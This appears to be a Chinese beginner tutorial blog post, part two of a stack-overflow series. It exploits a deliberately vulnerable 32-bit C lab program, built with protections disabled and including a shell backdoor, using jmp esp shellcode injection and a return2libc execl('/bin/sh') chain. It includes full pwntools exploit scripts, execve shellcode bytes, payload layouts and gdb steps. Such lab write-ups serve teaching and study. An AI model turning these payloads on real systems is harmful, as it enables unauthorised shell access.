栈溢出学习(二)之 jmp esp & return2libc

前言

栈溢出学习(二),讲述jmp esp && return2libc原理及其实践方法

  • 系列文章
    栈溢出学习(一)之利用预留后门 & return2shellcode
    栈溢出学习(二)之 jmp esp & return2libc
    栈溢出学习(三)之简单ROP
    栈溢出学习(四)之Hijack GOT
  • 本文属于新手实验难度,过程比较详细,适合新手学习

样例代码

本文使用的代码如下

#include 
#include 
#include 

/*
 * compiled with:
 *  gcc    -O0     -fno-stack-protector    -no-pie     -z execstack      -m32   -g  -o lab0 lab0.c
          优化等级      关闭canary         关闭地址随机化   关闭NX      生成32位程序

 */

void shell()//backdoor
{
        printf("You got it\n");
        system("/bin/sh");
}


void hello(char* name)
{
  char buf[20];
  strcpy(buf,name);
  puts("hello!!!");
  printf("i am  %s ",buf);
}

void main(int argc,char** argv)
{
  setbuf(stdin,NULL);
  setbuf(stdout,NULL);
  char buf[100];
  puts("*****************************************");
  puts("PWN,hello world!");
  gets(buf);
  hello(buf);

}

0x03 jmp esp

  • 当前环境:未开启优化,关闭canary,关闭地址随机化,32位程序
  • 目标:jmp esp

jmp esp的原理见下图,在当前栈空间内进行堆栈清理返回到前一个栈空间时,会将esp指向old esp
如果我们利用栈溢出,将返回地址覆盖为指令jmp esp的地址,那么在返回到jmp esp指令时,程序在下一步就会跳转到我们的old esp继续执行,那么我们的payload应该是这样布局的:
payload = a*32 + p32(address of jmp esp) + 一系列NOP指令 + shellcode
那么在跳转到old esp时,经过一系列NOP,程序最终执行shellcode
栈溢出学习(二)之 jmp esp & return2libc_第1张图片
在实现过程中,关键是找到jmp esp的地址。我们可以利用peda-gdbasmsearch功能来寻找jmp esp

命令为

asmsearch "jmp esp" libc

利用该命令,我们顺利找到jmp esplibc中存在,地址为0xf7dd9b51
栈溢出学习(二)之 jmp esp & return2libc_第2张图片
因此最终形成payload如下

from pwn import *

local = True
debug = True


shellcode = b'\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
padding = b'\x90' * 12

if local:
    io = process('./lab1')
else:
    io = remote(ip,port)


if debug:
    context.log_level = 'debug'

io.recvuntil('world!')

#input()
#gdb.attach(io)
#input()

payload = b'a'*32 + p32(0xf7dd9b51) + padding + shellcode
io.sendline(payload)
io.interactive()

攻击成功截图如下:
栈溢出学习(二)之 jmp esp & return2libc_第3张图片

0x04 return2libc

  • 当前环境:未开启优化,关闭canary,关闭地址随机化,32位程序
  • 目标:return2libc

也就是说目标是修改返回地址,使其指向libc中的函数,利用libc的函数实现我们的目的。通常,我们是尝试调用系统级函数system(),execl(),execve()等等

gdb相关操作

p system打印system函数地址
searchmem "/bin/sh" libc寻找字符串/bin/sh地址

实验过程

1.b mainmain函数处设置一个断点(随意设置一个断点),之后r

2.使用p system打印system函数地址

栈溢出学习(二)之 jmp esp & return2libc_第4张图片
可以看到system()是来源于libc库中的函数,地址为0xf7e14200

这里有个问题,system的地址中带有0x00。栈溢出的触发函数strcpy看到0x00会进行截断,因此这里我们不能使用该system()了(作者水平不高,如果有操作可以实现欢迎评论指出,谢谢)

那么现在两种思路,(1)换一个libc库(2)换个函数。显然如果是真实的题目或者环境,法1肯定是行不通的,那么我们尝试法2,获取到execl()地址为0xf7e96870

execl()函数原型为int execl(const char * path, const char * arg, ...);第一个参数为需要执行的文件,后面的参数为执行需要的参数,最后一个参数必定为NULL

因此我们计划使用execl("/bin/sh","/bin/sh",NULL)

那么问题来了,这里有个NULL,不是会截断吗?在这里跟函数地址带0x00不同,我们可以将NULL这个参数的位置设为一个值为0x00的地址
在这里插入图片描述
3. 查看/bin/sh地址,0xf7f550cf
栈溢出学习(二)之 jmp esp & return2libc_第5张图片
4.随意查找一个值为0的地址,如下图,找到一个为0x8048105
栈溢出学习(二)之 jmp esp & return2libc_第6张图片
5.设计payload

padding1 = 'a'*32
execl = p32(0xf7e96870)
padding2 = 'b'*4
binsh = p32(0xf7f550cf)
null = p32(0x8048105)

payload = padding1 + execl + padding2 + binsh +  binsh + null

用一个示意图来介绍这个栈的布局
栈溢出学习(二)之 jmp esp & return2libc_第7张图片
关键在于为什么execl()后面带了一个bbbb??看一下execl()的汇编

Dump of assembler code for function __GI_execl:
   0xf7e96870 <+0>:	push   ebp
   0xf7e96871 <+1>:	mov    ebp,esp
   0xf7e96873 <+3>:	push   edi
   0xf7e96874 <+4>:	push   esi
   0xf7e96875 <+5>:	push   ebx
   0xf7e96876 <+6>:	lea    ebx,[ebp+0x14]
   0xf7e96879 <+9>:	call   0xf7f0e381 <__x86.get_pc_thunk.si>
   0xf7e9687e <+14>:	add    esi,0x118782
   0xf7e96884 <+20>:	sub    esp,0x2c
   0xf7e96887 <+23>:	mov    eax,DWORD PTR [ebp+0x8]
   0xf7e9688a <+26>:	mov    edi,DWORD PTR [ebp+0xc]
   0xf7e9688d <+29>:	mov    DWORD PTR [ebp-0x2c],eax
   0xf7e96890 <+32>:	mov    eax,gs:0x14
   0xf7e96896 <+38>:	mov    DWORD PTR [ebp-0x1c],eax
   0xf7e96899 <+41>:	xor    eax,eax
   0xf7e9689b <+43>:	mov    eax,DWORD PTR [ebp+0x10]
   0xf7e9689e <+46>:	test   eax,eax
   0xf7e968a0 <+48>:	je     0xf7e9694d <__GI_execl+221>
   0xf7e968a6 <+54>:	mov    eax,ebx
   0xf7e968a8 <+56>:	mov    edx,0x1
   0xf7e968ad <+61>:	jmp    0xf7e968ba <__GI_execl+74>
   0xf7e968af <+63>:	nop
   0xf7e968b0 <+64>:	cmp    ecx,0x7fffffff
   0xf7e968b6 <+70>:	mov    edx,ecx
   0xf7e968b8 <+72>:	je     0xf7e96933 <__GI_execl+195>
   0xf7e968ba <+74>:	add    eax,0x4
   0xf7e968bd <+77>:	lea    ecx,[edx+0x1]
   0xf7e968c0 <+80>:	cmp    DWORD PTR [eax-0x4],0x0
   0xf7e968c4 <+84>:	jne    0xf7e968b0 <__GI_execl+64>
   0xf7e968c6 <+86>:	lea    eax,[edx*4+0x8]
   0xf7e968cd <+93>:	add    eax,0x12
   0xf7e968d0 <+96>:	mov    DWORD PTR [ebp-0x30],esp
   0xf7e968d3 <+99>:	add    ecx,0x1
   0xf7e968d6 <+102>:	and    eax,0xfffffff0
   0xf7e968d9 <+105>:	sub    esp,eax
   0xf7e968db <+107>:	lea    edx,[esp+0x3]
   0xf7e968df <+111>:	shr    edx,0x2
   0xf7e968e2 <+114>:	lea    eax,[edx*4+0x0]
   0xf7e968e9 <+121>:	mov    DWORD PTR [edx*4+0x0],edi
   0xf7e968f0 <+128>:	mov    edx,0x1
   0xf7e968f5 <+133>:	lea    esi,[esi+0x0]
   0xf7e968f8 <+136>:	mov    edi,DWORD PTR [ebx-0x4]
   0xf7e968fb <+139>:	add    ebx,0x4
   0xf7e968fe <+142>:	mov    DWORD PTR [eax+edx*4],edi
   0xf7e96901 <+145>:	add    edx,0x1
   0xf7e96904 <+148>:	cmp    ecx,edx
   0xf7e96906 <+150>:	jne    0xf7e968f8 <__GI_execl+136>
   0xf7e96908 <+152>:	mov    edx,DWORD PTR [esi-0xe8]
   0xf7e9690e <+158>:	sub    esp,0x4
   0xf7e96911 <+161>:	push   DWORD PTR [edx]
   0xf7e96913 <+163>:	push   eax
   0xf7e96914 <+164>:	push   DWORD PTR [ebp-0x2c]
   0xf7e96917 <+167>:	call   0xf7e965b0 <execve>
   0xf7e9691c <+172>:	mov    esp,DWORD PTR [ebp-0x30]
   0xf7e9691f <+175>:	mov    esi,DWORD PTR [ebp-0x1c]
   0xf7e96922 <+178>:	xor    esi,DWORD PTR gs:0x14
   0xf7e96929 <+185>:	jne    0xf7e9695c <__GI_execl+236>
   0xf7e9692b <+187>:	lea    esp,[ebp-0xc]
   0xf7e9692e <+190>:	pop    ebx
   0xf7e9692f <+191>:	pop    esi
   0xf7e96930 <+192>:	pop    edi
   0xf7e96931 <+193>:	pop    ebp
   0xf7e96932 <+194>:	ret    

execl()函数调用的时候,第一步执行了push ebp,而在程序流跳转到execl()函数后,esp便指向了execl()地址的下一个栈空间,因此这时候push的便是我们payload中的padding2部分。现在观察ret的上一句,是pop ebp,显然一开头push ebp的地址便是函数返回地址,因此我们要在参数前面加一个padding2来充当execl()函数的返回地址。又因为我们不需要完成正常的返回,所以我们随便填一个bbbb即可

payload

综上形成payload如下

from pwn import *

local = True
debug = True

shellcode = b'\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
nop = b'\x90' * 12

padding1 = b'a'*32
padding2 = b'b'*4

if local:
    io = process('./lab1')
else:
    io = remote(ip,port)


if debug:
    context.log_level = 'debug'

io.recvuntil('world!')

#input()
gdb.attach(io)
input()

payload = padding1 + p32(0xf7e96870) + padding2 + p32(0xf7f550cf) + p32(0xf7f550cf) + p32(0x8048105)
io.sendline(payload)
io.interactive()

效果如下
栈溢出学习(二)之 jmp esp & return2libc_第8张图片

总结

本文对一个栈溢出例子使用了两种简单方法进行实验

  • jmp esp
  • return2libc

下一篇栈溢出学习(三)依然会继续采用别的方法或增加保护对同样的例子进行实验

你可能感兴趣的:(【pwn】,pwn,栈溢出)